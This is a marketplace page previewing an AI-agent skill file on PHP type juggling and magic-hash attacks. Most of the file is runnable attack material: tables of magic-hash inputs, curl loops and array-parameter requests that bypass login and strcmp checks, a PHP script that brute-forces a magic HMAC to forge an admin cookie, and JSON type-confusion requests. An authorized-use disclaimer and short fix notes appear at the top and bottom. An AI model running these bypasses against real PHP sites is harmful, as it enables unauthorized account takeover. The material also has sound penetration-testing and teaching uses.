Skip to main content

php-type-juggling

PHP type juggling and magic hash attacks — exploit loose comparison (==) with 0e-prefixed hash collisions and NULL returns to bypass authentication.

Jump to install

Source facts

Repository
BitterSecurity/Decepticon
Last source activity
May 30, 2026 at 01:29
Detected SKILL.md language
English
Stars
5,565
Forks
1,053

Install options

The review-first prompt is selected by default. You can switch to a direct command or download a local copy.

Review the source files

Read SKILL.md and any companion files shown by SkillsMP before deciding whether to install.

Showing SKILL.md

SKILL.md
Source instructions · Read-only preview
name
php-type-juggling
description
PHP type juggling and magic hash attacks — exploit loose comparison (==) with 0e-prefixed hash collisions and NULL returns to bypass authentication.
allowed-tools
Bash Read Write
metadata
{"subdomain":"authentication","when_to_use":"php type juggling, loose comparison, magic hash, 0e hash, strcmp bypass, php authentication bypass, hash collision php, php == comparison, md5 collision, sha1 collision","tags":"web-application, php, authentication-bypass, type-juggling, magic-hash, loose-comparison","mitre_attack":"T1190, T1606.001"}
# PHP Type Juggling and Magic Hash Attacks > **Authorized-use only.** Only test systems you own or have explicit written permission to test. Unauthorized exploitation violates computer-fraud laws worldwide. PHP is a loosely typed language. When comparing values with `==` (loose) rather than `===` (strict), PHP coerces types — a string beginning with `0e` followed only by digits is treated as scientific notation and equals `0`. An attacker who controls one side of a comparison can force equality with predictable hash outputs ("magic hashes"), bypass HMAC checks, or exploit NULL returns from type errors. Affects PHP 5.x–7.x broadly; PHP 8.0+ fixed most numeric-string comparisons but edge cases remain. ## ATT&CK Mapping | Technique | Notes | |-----------|-------| | T1190 | Exploit public-facing application — auth bypass via comparison flaw | | T1606.001 | Forge web credentials — force authentication with crafted hash values | ## 1. Loose Comparison Cheat Sheet ``` '0010e2' == '1e3' → true (both evaluate as float 1000) '123' == 123 → true (string cast to int) '123abc' == 123 → true (leading numeric string) 'abc' == 0 → true (non-numeric string == 0 in PHP 5/7) '' == 0 → true 0 == false → true false == NULL → true NULL == '' → true md5([]) == NULL → true (NULL == any string starting with 0e) sha1([]) == NULL → true ``` PHP 8.0 change: `'abc' == 0` now evaluates to `false`. Check target PHP version before assuming string-zero bypass. ## 2. Magic Hashes — 0e Collisions When a hash output starts with `0e` followed only by digits, PHP's `==` comparison treats it as float `0`. Two such hashes are "equal" under `==` regardless of their actual values. ### MD5 Magic Strings | Input | MD5 Hash | |-------|----------| | `240610708` | `0e462097431906509019562988736854` | | `QNKCDZO` | `0e830400451993494058024219903391` | | `0e1137126905` | `0e291659922323405260514745084877` | | `0e215962017` | `0e291242476940776845150308577824` | | `aabg7XSs` | `0e087386482136013740957780965295` | ### SHA-1 Magic Strings | Input | SHA-1 Hash | |-------|-----------| | `10932435112` | `0e07766915004133176347055865026311692244` | | `aaroZmOk` | `0e66507019969427134894567494305185566735` | | `aaK1STfY` | `0e76658526655756207688271159624026011393` | ### SHA-224 / SHA-256 Magic Strings | Hash | Input | Output | |------|-------|--------| | SHA-224 | `10885164793773` | `0e281250946775200129471613219196999537878926740638594636` | | SHA-256 | `34250003024812` | `0e46289032038065916139621039085883773413820991920706299695051332` | | SHA-256 | `TyNOQHUS` | `0e66298694359207596086558843543959518835691168370379069085300385` | ### Exploitation ```bash # Login bypass — submit a magic hash input instead of the real password # Server code: if (md5($input) == $stored_hash) { login() } # If $stored_hash is also a 0e... hash, any 0e... input collides. # Try magic inputs against a login endpoint for magic in "240610708" "QNKCDZO" "0e1137126905" "aabg7XSs"; do echo -n "Trying $magic: " curl -si "https://target.example.com/login" \ -d "username=admin&password=${magic}" \ | grep -E "Location:|Set-Cookie:|Welcome|dashboard" | head -2 done ``` ## 3. NULL Bypass via Array Input `md5([])` and `sha1([])` in PHP 5/7 return `NULL` with a warning. Under loose comparison, `NULL == ''` is true. If the server compares `md5($input) == ''` or similar: ```bash # Send array input to hash functions — triggers NULL return curl -si "https://target.example.com/login" \ -d "username=admin&password[]=" \ | grep -E "Location:|Set-Cookie:|error" # POST with array notation curl -si "https://target.example.com/verify" \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "hash[]=&user=admin" \ | grep -i "success\|error\|redirect" ``` ## 4. strcmp() Return Value Bypass `strcmp()` returns `0` (equal) on success, non-zero otherwise. Under loose comparison, `strcmp($input, $secret) == 0` can be bypassed by passing an array (returns NULL, and `NULL == 0` is true in PHP 5/7): ```bash # Bypass strcmp-based password check # Server: if (strcmp($_POST['pass'], $secret) == 0) { ... } curl -si "https://target.example.com/login" \ -d "username=admin&pass[]=" \ | grep -iE "success|welcome|redirect|Location" ``` ## 5. HMAC Brute-Force for 0e Collision (Magic HMAC) When a cookie HMAC is verified with loose comparison against `"0"`, an attacker brute-forces an expiration timestamp until `hash_hmac('md5', payload, key)` produces a `0e...` string — which equals `"0"` under `==`. This works when the key is empty or known (e.g., leaked via `.env`). ```bash # PHP script to find a magic HMAC timestamp (empty key example) # Run: php find_magic_hmac.php cat > /tmp/find_magic_hmac.php << 'EOF' <?php $username = 'admin'; $key = ''; // replace with known key or empty string leak for ($i = 1424869663; $i < 1835970773; $i++) { $out = hash_hmac('md5', $username . '|' . $i, $key); if (str_starts_with($out, '0e') && ctype_digit(substr($out, 2))) { echo "Found: expiration=$i hash=$out\n"; break; } } EOF php /tmp/find_magic_hmac.php # Then craft the cookie with hmac=0 and the found expiration # cookie: username=admin; expiration=<found>; hmac=0 ``` ## 6. Type Juggling in JSON APIs JSON deserialization can also introduce juggling issues when PHP converts JSON types to PHP types before comparison: ```bash # Send integer 0 instead of string "false"/"no" curl -si "https://target.example.com/api/verify" \ -H "Content-Type: application/json" \ -d '{"token": 0, "user": "admin"}' \ | grep -iE "success|error|200" # Send true to bypass boolean checks curl -si "https://target.example.com/api/verify" \ -H "Content-Type: application/json" \ -d '{"admin": true, "role": "admin"}' \ | grep -iE "success|error|200" ``` ## 7. Identify Vulnerable PHP Code Patterns ```bash # Grep the target's source (if accessible — e.g., leaked backup, open source app) grep -rn '==[[:space:]]*\(md5\|sha1\|hash\|strcmp\|password_verify\)' /var/www/html/ 2>/dev/null grep -rn 'if.*md5.*==\|if.*sha1.*==' /var/www/html/ 2>/dev/null grep -rn 'strcmp.*==\s*0\|0\s*==.*strcmp' /var/www/html/ 2>/dev/null # Look for PHP version to assess 0e / array bypass viability curl -si "https://target.example.com/info.php" | grep -i "PHP Version" curl -si "https://target.example.com/" | grep -i "x-powered-by" ``` ## 8. Common Targets in the Wild | Application Class | Likely Sink | |-------------------|-------------| | Custom PHP login forms | `md5($pass) == $stored` | | Token validation endpoints | `strcmp($token, $secret) == 0` | | HMAC cookie verifiers | `hmac($cookie) != $supplied` using `==` | | Email unsubscribe links | `md5($email) == $_GET['hash']` | | Admin PIN verification | `sha1($pin) == $db_hash` | ## Detection Notes - PHP 8.0+ resolves `'abc' == 0 → false` and makes `strcmp` throw on array input; PHP 7 and below remain vulnerable - Static analysis: `psalm --taint-analysis`, `phpstan` level 8 flag loose comparisons - Dynamic: supply `[]` for hash/strcmp parameters, observe PHP warning in response or error logs - Fix: always use `===` for hash comparisons and `hash_equals()` for timing-safe HMAC checks ## References - [PayloadsAllTheThings: Type Juggling](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Type%20Juggling) - [OWASP: PHP Type Juggling](https://owasp.org/www-pdf-archive/PHPMagicTricks-TypeJuggling.pdf) - [Magic Hashes — spaze/hashes](https://github.com/spaze/hashes) - [Super Magic Hashes — Almond Consulting](https://offsec.almond.consulting/super-magic-hash.html)
View on GitHub